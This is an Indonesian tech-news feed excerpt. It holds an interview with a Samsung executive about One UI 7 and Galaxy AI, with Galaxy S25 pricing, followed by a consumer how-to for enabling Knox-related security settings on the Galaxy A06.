<p><strong>NATIVZEN.com</strong> &#8211; Samsung terus berada di garis depan inovasi di dunia perangkat mobile, dengan fokus pada peningkatan pengalaman pengguna melalui pengembangan yang dilakukan pada One UI 7. </p>



<p>Antarmuka ini tidak hanya mengutamakan desain, tetapi juga fungsionalitas, menggabungkan hardware dan software secara seamless untuk mendukung AI dan meningkatkan produktivitas penggunanya.</p>



<p>Dalam pengembangan One UI 7, Samsung menggabungkan riset pasar mendalam dan feedback pengguna, termasuk dari Indonesia, serta bekerja sama dengan developer lokal untuk menciptakan fitur yang relevan dengan kebutuhan pasar agar produk tetap adaptif dan berkelanjutan. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-1024x576.jpg" alt="" class="wp-image-16144" srcset="https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-1536x863.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-2048x1151.jpg 2048w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-570x320.jpg 570w, https://nativzen.com/wp-content/uploads/2025/02/1-Sally-EVP-and-Head-of-the-Framework-RD-Team-at-Samsung-Mobile-eXperience-740x416.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Sally, EVP and Head of the Framework R&#038;D Team at Samsung Mobile eXperience</figcaption></figure>



<p>Keamanan data pengguna juga menjadi prioritas utama, di mana Samsung berkolaborasi dengan Google untuk menghadirkan solusi perlindungan yang kuat, memproses data baik di perangkat maupun cloud demi memberikan keamanan optimal tanpa mengorbankan kenyamanan pengguna.</p>



<p>Dalam wawancara eksklusif, Sally, EVP and Head of the Framework R&amp;D Team at Samsung Mobile eXperience, menjelaskan bagaimana tim development berkolaborasi dengan tim customer experience memahami langsung masukan dari pengguna. </p>



<p>Selain itu, Sally juga menjelaskan setiap fitur yang dihadirkan selaras dengan tren terkini. Untuk itu, ikuti wawancara ini untuk menggali lebih dalam mengenai proses pengembangan UX dan One UI di Galaxy S25 Series</p>



<p><strong><em>Q1: Bagaimana Samsung mengembangkan UX dan One UI, terutama terkait dengan detail kecil yang sangat resonan dengan pengguna, dan bagaimana proses pengembangan secara keseluruhan?</em></strong></p>



<p>Proses pengembangan One UI berlangsung kolaboratif. Ada tim customer experience yang fokus pada perencanaan. Tim ini aktif mengidentifikasi tren-tren baru dengan mengumpulkan insight dari pengguna dan pasar, lalu menyampaikannya kepada tim pengembangan.</p>



<p> Berdasarkan insight tersebut, kami mengembangkan One UI, memastikan bahwa user interface (UI) ini sudah sesuai dengan harapan pengguna dan tren yang akan datang. Proses perencanaan ini pun dimulai jauh sebelumnya, bahkan untuk versi UI berikutnya.</p>



<p>Selain itu, Samsung menggunakan program Beta, di mana pengguna dapat mencoba versi awal produk dan memberikan feed back. Ini sangat penting karena kami menghargai masukan pengguna dan berusaha untuk memasukkannya ke dalam versi final.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1000" height="667" src="https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1.jpg" alt="" class="wp-image-15799" srcset="https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1.jpg 1000w, https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1-300x200.jpg 300w, https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1-768x512.jpg 768w, https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1-370x247.jpg 370w, https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1-270x180.jpg 270w, https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1-570x380.jpg 570w, https://nativzen.com/wp-content/uploads/2025/01/1-Kesan-Pertama-S25-1000x667-1-740x494.jpg 740w" sizes="(max-width: 1000px) 100vw, 1000px" /></figure>



<p>Untuk One UI 7, kami melakukan pendekatan yang sedikit berbeda. Biasanya, pembaruan UI dilakukan setiap tahun. Namun, untuk versi ini, kami ingin membuat terobosan besar, yang membutuhkan perencanaan matang sejak dua hingga tiga tahun sebelum proyek ini dimulai. </p>



<p>Proses yang komprehensif ini memastikan bahwa setiap fitur, bahkan yang tampak kecil sekalipun, benar-benar disesuaikan dengan kebutuhan pengguna dan memberikan pengalaman yang optimal.</p>



<p><strong><em>Q2: Ketika berbicara tentang AI, banyak kekhawatiran terkait keamanan dalam penggunaan data pengguna. Bagaimana Samsung menangani isu keamanan ini, dan langkah apa yang diambil perusahaan untuk memperkuatnya?</em></strong></p>



<p>Privasi sangat penting bagi kami. Itulah sebabnya kami menawarkan fitur pemrosesan on-device. Informasi sensitif, seperti riwayat panggilan, diproses langsung di perangkat untuk menjaga privasi. </p>



<p>Kami juga memberikan opsi pemrosesan berbasis cloud untuk hal-hal yang kurang sensitif, seperti kreativitas. Pengguna bisa memilih, apakah ingin menggunakan pemrosesan di perangkat atau cloud. Kami selalu menjaga privasi dan akan terus memperkuat fitur ini kedepannya.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-1024x576.jpg" alt="" class="wp-image-16078" srcset="https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1-740x416.jpg 740w, https://nativzen.com/wp-content/uploads/2025/02/HILANG1-1.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sistem operasi Android menawarkan produktivitas dan kreativitas yang lebih baik. Meski merupakan OS terbuka, kami memiliki solusi keamanan Knox yang melindungi hingga tingkat chip perangkat keras.</p>



<p>Dengan keamanan yang terjamin dan keterbukaan infrastruktur, kami dapat menawarkan fitur yang lebih nyaman tanpa mengorbankan keamanan. Hal ini menjadikan Android unggul dalam mendukung kreativitas dan produktivitas.</p>



<p><strong><em>Q3: Bagaimana Samsung melihat perkembangan AI saat ini, dan apa tantangan terbesar dalam menghadirkan fitur-fitur AI seperti yang ada di Galaxy S25 Series?</em></strong></p>



<p>AI telah berkembang pesat dalam beberapa tahun terakhir, terutama sejak munculnya Large Language Model (LLM). Namun, menurut saya, kita masih berada di tahap awal dalam memanfaatkan AI untuk memberikan manfaat yang luas bagi semua orang. </p>



<p>Melalui perangkat seluler seperti Galaxy S25 Series, kami di Samsung berupaya menghadirkan AI yang tak hanya mudah diakses, tetapi juga bisa digunakan oleh semua orang dalam berbagai aktivitas sehari-hari.</p>



<p>Tantangan terbesar yang kami hadapi dalam menghadirkan fitur AI seperti multitasking across app dan multimodal search di platform mobile adalah kestabilan platform dan integrasi yang seamless antar aplikasi.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-1024x576.jpg" alt="" class="wp-image-16077" srcset="https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-2048x1152.jpg 2048w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2025/02/CAPTUR1-740x416.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kami bekerja sama dengan Google sejak awal pengembangan untuk memastikan aplikasi Google dan Samsung dapat berfungsi dengan lancar di seluruh platform. Proses ini melibatkan pengembangan API dan SDK yang dilakukan bersamaan.</p>



<p>Namun, yang paling memuaskan adalah melihat bagaimana AI ini bisa memberikan nilai pribadi kepada pengguna, memungkinkan mereka untuk menjalani hidup lebih mudah, lebih produktif, dan lebih menyenangkan. </p>



<p><strong><em>Q4: Bagaimana tantangan Samsung dalam mengembangkan fitur AI, kolaborasi dengan Google, dan rencana terkait Gemini dan Galaxy AI? Apa tujuan konsep multimodal dan integrasi dengan platform pihak ketiga? Apakah Samsung terbuka untuk kolaborasi dengan pengembang lokal Indonesia?</em></strong></p>



<p>Galaxy AI adalah platform yang mencakup semua fitur AI di perangkat Samsung, baik yang dikembangkan oleh kami maupun yang diintegrasikan dari mitra seperti Google. Kami berfokus untuk membuat pengalaman AI ini mudah digunakan oleh semua orang.</p>



<p>Melalui kolaborasi dengan Google, kami bertujuan memastikan aplikasi-aplikasi yang digunakan pengguna berfungsi dengan lancar—baik untuk komunikasi, kreativitas, maupun produktivitas—dengan memanfaatkan AI untuk menyederhanakan berbagai proses tersebut.</p>



<p>Terkait multimodal, kami ingin AI dapat memproses berbagai input, bukan hanya suara atau teks, tetapi juga video, dan memberikan hasil yang relevan berdasarkan konteks. Kami pun di Samsung bekerja keras untuk menyelaraskan teknologi ini.</p>



<p>Tujuannya agar aplikasi-aplikasi bekerja dengan lancar satu sama lain, baik yang dikembangkan oleh kami maupun pihak ketiga. Untuk pengembang lokal Indonesia, kami selalu terbuka untuk inovasi. </p>



<p>Saat ini, kami telah mendukung bahasa Indonesia melalui fitur seperti Interpreter dan Live Translate, dan kami terus berusaha untuk meningkatkan pengalaman ini. Ke depan, kami juga ingin lebih memperluas kolaborasi dengan pengembang lokal.</p>



<p><strong><em>Q5: Seberapa besar peran NPU dan GPU dalam fitur AI Galaxy S25? Apakah fitur AI hanya untuk Galaxy S25 Series atau juga untuk model sebelumnya? Apa fitur yang bergantung pada hardware baru dan apakah Galaxy AI akan tersedia di perangkat lebih terjangkau?</em></strong></p>



<p>Fitur AI di perangkat Samsung terbagi antara yang bergantung pada hardware dan yang tidak. Fitur AI yang memanfaatkan pemrosesan di perangkat, seperti personal data engine, sangat membutuhkan chipset dan hardware canggih.</p>



<p>Fitur ini memerlukan pemrosesan yang kuat untuk memberikan pengalaman yang optimal. Sebaliknya, fitur seperti Circle to Search dapat berjalan di perangkat lama, karena ini lebih bergantung pada layanan berbasis cloud yang tidak terlalu membebani performa perangkat.</p>



<p>Untuk perangkat yang lebih terjangkau, kami terus meninjau kebutuhan pengguna dan menyediakan fitur AI cloud-based yang dapat digunakan di berbagai perangkat, tanpa mengharuskan perangkat keras canggih. </p>



<p>Meskipun demikian, untuk pengalaman AI di perangkat yang lebih dalam, seperti personal data engine, memang dibutuhkan hardware yang lebih kuat seperti yang ada di Galaxy S25 Series dengan dukungan chipset Snapdragon 8 Elite for Galaxy.</p>



<h3 class="wp-block-heading"><strong>Temukan Inovasi One UI 7 dan Fitur AI Terkini di Galaxy S25 Serie</strong>s</h3>



<p>Kamu bisa langsung <em>pre-order</em> <a href="https://www.samsung.com/id/smartphones/galaxy-s25-ultra/buy/?cid=id_ow_app_s-store_f1h25_unpacked_pa-s25-ultra-media_article_none_none" target="_blank" rel="noreferrer noopener">Galaxy S25 Ultra</a>, <a href="https://www.samsung.com/id/smartphones/galaxy-s25/buy/?cid=id_ow_app_s-store_f1h25_unpacked_pa-s25-base-media_article_none_none" target="_blank" rel="noreferrer noopener">Galaxy S25+</a>, atau <a href="https://www.samsung.com/id/smartphones/galaxy-s25/buy/?cid=id_ow_app_s-store_f1h25_unpacked_pa-s25-base-media_article_none_none" target="_blank" rel="noreferrer noopener">Galaxy S25</a> selama periode 23 Januari – 13 Februari 2025 di <a href="http://www.samsung.com/id" target="_blank" rel="noreferrer noopener">www.samsung.com/id</a>. Dengan menjadi salah satu pembeli, maka konsumen bisa mendapatkan bonus eksklusif yang menarik </p>



<p>Ada Free Memory Upgrade dengan benefit hingga Rp 4 juta, cashback dari mitra bank dengan nilai mencapai Rp 1,5 juta. Terdapat juga penawaran trade-in cashback dengan nilai hingga Rp 2,5 juta dan free Telkomsel eSIM 150GB senilai Rp 900 ribu.</p>



<p>Galaxy S25 Ultra akan tersedia dalam 3 varian, yaitu 12/256GB dapat dimiliki dengan harga Rp 22.999.000, lalu 12/512GB dengan harga Rp 24.999.000, lalu untuk 12/1TB dibanderol senilai Rp 28.999.000. </p>



<p>Sementara, untuk Galaxy S25+ varian 12/256GB dengan harga Rp 17.999.000 dan varian 12/512GB dengan harga Rp 19.999.000. Terakhir, untuk Galaxy S25 varian 12/256GB bisa dimiliki dengan merogoh kocek Rp 14.999.000 dan varian 12/512GB dengan harga Rp 16.999.000.</p>



<p>Galaxy S25 Ultra memiliki beragam warna unik dan lucu untuk kamu miliki, yaitu Titanium Silverblue, Titanium Whitesilver, Titanium Gray, dan Titanium black. Selain itu, ada juga warna online exclusive, yaitu Titanium Pinkgold, Titanium Jetblack, dan Titanium Jadegreen.</p>



<p>Sementara untuk Galaxy S25 dan Galaxy S25+, keduanya tersedia dengan warna Navy, Icyblue, Mint, dan Silver Shadow. Kemudian terdapat juga tiga warna online exclusive lainnya seperti Blueblack, Coralred, dan Pinkgold.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cara Aktifkan Samsung Knox Vault di Galaxy A06 Seharga Rp 1 Jutaan</title>
		<link>https://nativzen.com/2024/10/17/begini-cara-aktifkan-samsung-knox-vault-di-galaxy-a06-seharga-rp-1-jutaan/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 16 Oct 2024 23:19:17 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[galaxy a06]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[samsung knox vault]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=12837</guid>

					<description><![CDATA[Dengan Knox Vault, pengguna Galaxy A06 akan merasa tenang karena setiap lapisan keamanan dirancang untuk menjaga informasi berharga.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Kebocoran data merupakan hal yang sedang marak terjadi di dunia modern. Data menunjukkan bahwa Indonesia menempati posisi ke-8 paling tinggi di dunia sepanjang tahun 2020 &#8211; 2024 dengan jumlah kebocoran data sebanyak 94,22 juta data.</p>



<p>Oleh karena itu, kesadaran dan pengertian masyarakat akan perlindungan data mereka dengan sistem keamanan yang baik menjadi penting. Smartphone adalah salah satu perangkat yang berisikan banyak data personal yang perlu kita perhatikan keamanannya. </p>



<p>Samsung pun tidak berkompromi dengan masalah keamanan. Samsung menanamkan fitur keamanan unggul Knox Vault yang dapat melindungi data dan informasi sensitif milik pengguna, bahkan di perangkat entry-level sekalipun, seperti pada Galaxy A06 terbaru. </p>



<p>Dengan dukungan Samsung Knox Vault, data-data penting yang tersimpan di Galaxy A06 akan dilindungi oleh sistem keamanan berlapis. Hal ini bertujuan memastikan keamanan maksimal untuk smartphone kamu. </p>



<p>Dengan Knox Vault, kamu dapat merasa tenang karena setiap lapisan keamanan dirancang untuk menjaga informasi berharga tetap terlindungi dari potensi risiko. Knox Vault pun mendukung berbagai fitur keamanan yang menambah proteksi data pribadi kamu di Galaxy A06. Fitur apa sajakah itu?</p>



<h3 class="wp-block-heading">Layar Kunci</h3>



<p>Untuk melindungi isi Galaxy A06 kamu, langkah awal yang bisa kamu lakukan adalah mengaktifkan layar kunci dengan password, PIN, atau juga sidik jari. Dengan layar kunci, lebih sulit bagi orang lain untuk memaksa membuka smartphone kamu. Cara mengaktifkannya:</p>



<ul>
<li>Pergi ke Pengaturan, klik pada Keamanan dan Privasi</li>



<li>Klik pada opsi Layar Kunci</li>



<li>Pilih Layar Kunci untuk mengaktifkan Password dan PIN. Untuk keamanan lebih, pilih<br>Fingerprints untuk mendaftarkan Sidik Jari.</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="564" src="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-1024x564.png" alt="" class="wp-image-12839" srcset="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-1024x564.png 1024w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-300x165.png 300w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-768x423.png 768w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-1536x846.png 1536w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-370x204.png 370w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-270x149.png 270w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-570x314.png 570w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci-740x407.png 740w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Layar-Kunci.png 1918w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading">Pemblokir Otomatis</h3>



<p>Bagi sebagian besar pengguna smartphone mungkin pernah mendapatkan pesan dari orang yang tidak dikenal yang mengirimkan link atau file yang tidak jelas asalnya. Tidak sedikit juga dari para penipu ini yang mengatakan suatu hal yang membuat kita ingin meng-klik link tersebut.</p>



<p>Tetapi sebenarnya, link yang dikirim berisi APK jahat untuk mencuri semua data di smartphone kita. Untuk mencegah hal ini, Samsung menghadirkan fitur Auto Blocker/Pemblokir Otomatis pada Galaxy A06.</p>



<p>Fitur ini bisa mencegah pengguna untuk mengunduh dan memasang aplikasi yang memiliki virus atau APK jahat didalamnya. Selain itu, Auto Blocker juga memastikan bahwa hanya aplikasi yang telah diverifikasi yang dapat diinstal di perangkat kamu.</p>



<p>Selain itu, mengaktifkan Pemblokir Otomatis akan memblokir serangan rekayasa sosial seperti phishing suara yang digunakan untuk membujuk kamu menginstal software berbahaya. Fitur ini juga dilengkapi kontrol tambahan.</p>



<p>Kontrol tambahan ini seperti pemeriksaan keamanan aplikasi untuk mendeteksi malware dan mencegah instalasi software lewat kabel USB, misalnya saat mengisi baterai di fasilitas publik seperti di bandara. Cara mengaktifkannya:</p>



<ul>
<li>Pergi ke Pengaturan, klik pada Keamanan dan privasi</li>



<li>Klik pada Pemblokir Otomatis dan geser tombol untuk mengaktifkan atau menonaktifkan.</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="745" src="https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-1024x745.png" alt="" class="wp-image-12840" srcset="https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-1024x745.png 1024w, https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-300x218.png 300w, https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-768x559.png 768w, https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-370x269.png 370w, https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-270x196.png 270w, https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-570x415.png 570w, https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis-740x538.png 740w, https://nativzen.com/wp-content/uploads/2024/10/tata-cara-mengaktifkan-Pemblokir-Otomatis.png 1512w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading">Folder Aman</h3>



<p>Folder Aman dapat menjadi tempat ideal untuk menyimpan berbagai jenis aplikasi dan data yang kita anggap berharga. Foto-foto dan video pribadi, file kontrak kerja, aplikasi m-banking, dan informasi pribadi lainnya tentu bukan informasi yang boleh untuk bocor ke mana-mana. </p>



<p>Kamu bisa simpan dokumen-dokumen atau informasi penting semacam ini di Folder Aman yang ada di Galaxy A06, sehingga tidak bisa diakses oleh orang yang tak berhak. Folder ini diproteksi oleh lapisan keamanan ekstra yang akan mengenkripsi seluruh data yang disimpan di sana. </p>



<p><strong>Untuk membuat Folder Aman:</strong></p>



<ul>
<li>Buka Pengaturan &#8211; Keamanan dan privasi &#8211; Pengaturan keamanan lainnya</li>



<li>Pilih Folder Aman</li>



<li>Jika perlu, log in dahulu ke akun Samsung</li>



<li>Di layar perizinan yang dibutuhkan Folder Aman, klik Lanjutkan</li>



<li>Pilih metode pengunci (Pola, PIN, Kata Sandi, Sidik Jari) lalu klik Lanjutkan</li>



<li>Masukkan metode pengunci, pilih Lanjutkan. Masukkan sekali lagi, lalu pilih Konfirmasi</li>



<li>Shortcut akan ditambahkan di layar Home. Kamu tinggal membuka Folder Aman dan<br>memasukkan file-file penting ataupun menginstall aplikasi di dalamnya.</li>
</ul>



<p><strong>Untuk memasukkan file ke Folder Aman, ada dua cara:</strong></p>



<ul>
<li>Buka Folder Aman. Klik tambah file atau klik pada 3 dot dan klik Tambah file. Pilih tipe file dan pilih file yang ingin disimpan, klik Selesai</li>



<li>Pindahkan file secara langsung dari aplikasi bawaan Samsung, seperti My Files, Galeri and Voice Recorder. Cukup buka aplikasi, pilih file yang hendak dipindahkan, klik ikon tiga dot di sudut kanan bawah, dan klik pindahkan ke Folder Aman.</li>
</ul>



<p><strong>Adapun untuk menambah aplikasi ke Folder Aman, seperti aplikasi perbankan, berikut caranya:</strong></p>



<ul>
<li>Buka Folder Aman. Klik tambah aplikasi atau simbol (+)</li>



<li>Pilih aplikasi yang ingin kamu tambahkan. Kalau hendak mengunduh langsung, klik unduh dariPlay Store atau Unduh dari Galaxy Store</li>



<li>Lalu klik Tambahkan.</li>
</ul>



<h3 class="wp-block-heading">ID Pemanggil dan Proteksi Spam</h3>



<p>Dengan makin vitalnya peran smartphone sebagai pusat dari cara kita bekerja, hidup dan bermain, bahkan untuk menggantikan dompet, tak heran kalau penjahat akan terus berusaha membobol perangkat ini dengan berbagai cara. </p>



<p>Mungkin kita kadang menganggap telepon spam sebelah mata dan hanya sekadar gangguan. Padahal, pesan maupun telpon spam bisa saja menyembunyikan kode berbahaya yang dapat menginfeksi perangkat kamu.</p>



<p><strong>Di ponsel ini, kamu bisa mengidentifikasi dan memblokir panggilan spam, caranya:</strong></p>



<ul>
<li>Buka aplikasi telepon. Klik pada ikon 3 dot. Klik pengaturan.</li>



<li>Geser tombol pada ID Pemanggil dan proteksi spam ke kanan untuk mengaktifkan.</li>



<li>Klik pada ID Pemanggil dan proteksi spam</li>



<li>Geser tombol Blokir panggilan spam dan penipuan untuk mengaktifkan.</li>



<li>Kamu bisa pilih: blokir semua spam dan scam call atau hanya memblokir yang berisiko tinggi.</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="558" src="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-1024x558.png" alt="" class="wp-image-12841" srcset="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-1024x558.png 1024w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-300x163.png 300w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-768x418.png 768w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-1536x837.png 1536w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-2048x1116.png 2048w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-370x202.png 370w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-270x147.png 270w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-570x311.png 570w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-proteksi-pemanggilan-dan-spam-740x403.png 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading">Mode Perawatan</h3>



<p>Jika suatu hari kamu perlu membawa smartphone Galaxy A06 ke Service Center, Samsung Knox Vault memberikan proteksi maksimal untuk data-data pribadi melalui fitur Maintenance Mode/ Mode Perawatan.</p>



<p>Mode Perawatan dirancang khusus untuk melindungi dan menyembunyikan data pribadi kamu agar tidak dapat diakses oleh petugas Service Center ketika smartphone kamu sedang menjalani perbaikan. Kamu bisa tenang menitipkan smartphone saat diperbaiki.</p>



<p>Ketika kamu mengaktifkan fitur Mode Perawatan, kamu dapat mengatur profil pengguna yang berbeda, memastikan akun dan data utamamu tetap privat. Untuk mengaktifkan mode ini:</p>



<ul>
<li>Buka Pengaturan, tap Perawatan perangkat.</li>



<li>Klik Mode Perawatan</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="739" src="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-1024x739.png" alt="" class="wp-image-12842" srcset="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-1024x739.png 1024w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-300x216.png 300w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-768x554.png 768w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-370x267.png 370w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-270x195.png 270w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-570x411.png 570w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan-740x534.png 740w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-mengaktifkan-Mode-Perawatan.png 1400w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Setelah Mode Perawatan diaktifkan, kamu dapat menyembunyikan semua data pribadi termasuk foto, video, kontak, dan pesan serta mencegah akses yang tidak sah. Mode ini juga memastikan bahwa tidak ada data yang terhapus secara tidak sengaja dari perangkat kamu karena perbaikan.</p>



<h3 class="wp-block-heading">Pembaruan Perangkat Lunak dan Keamanan</h3>



<p>Dengan pembaharuan perangkat lunak sebanyak dua kali dan keamanan selama empat tahun, Samsung berkomitmen untuk menjaga Galaxy A06 tetap aman dan optimal dalam jangka panjang untuk digunakan oleh pemiliknya. </p>



<p>Update ini tidak hanya memberikan fitur terbaru, tetapi juga memastikan bahwa perangkat terlindungi dari ancaman keamanan baru. Ini penting bagi pengguna yang menginginkan perangkat yang awet dan tetap bisa diandalkan selama beberapa tahun ke depan.</p>



<p>Dengan begitu, pengguna Galaxy A06 tidak perlu lagi khawatir akan kerentanan atau performa yang menurun. Kamu juga bisa mengecek secara rutin apakah ada update terbaru atau tidak di Galaxy A06 kamu, berikut caranya:</p>



<ul>
<li>Pergi ke Pengaturan</li>



<li>Pilih opsi Pembaruan perangkat lunak</li>



<li>Klik Unduh and instal</li>
</ul>



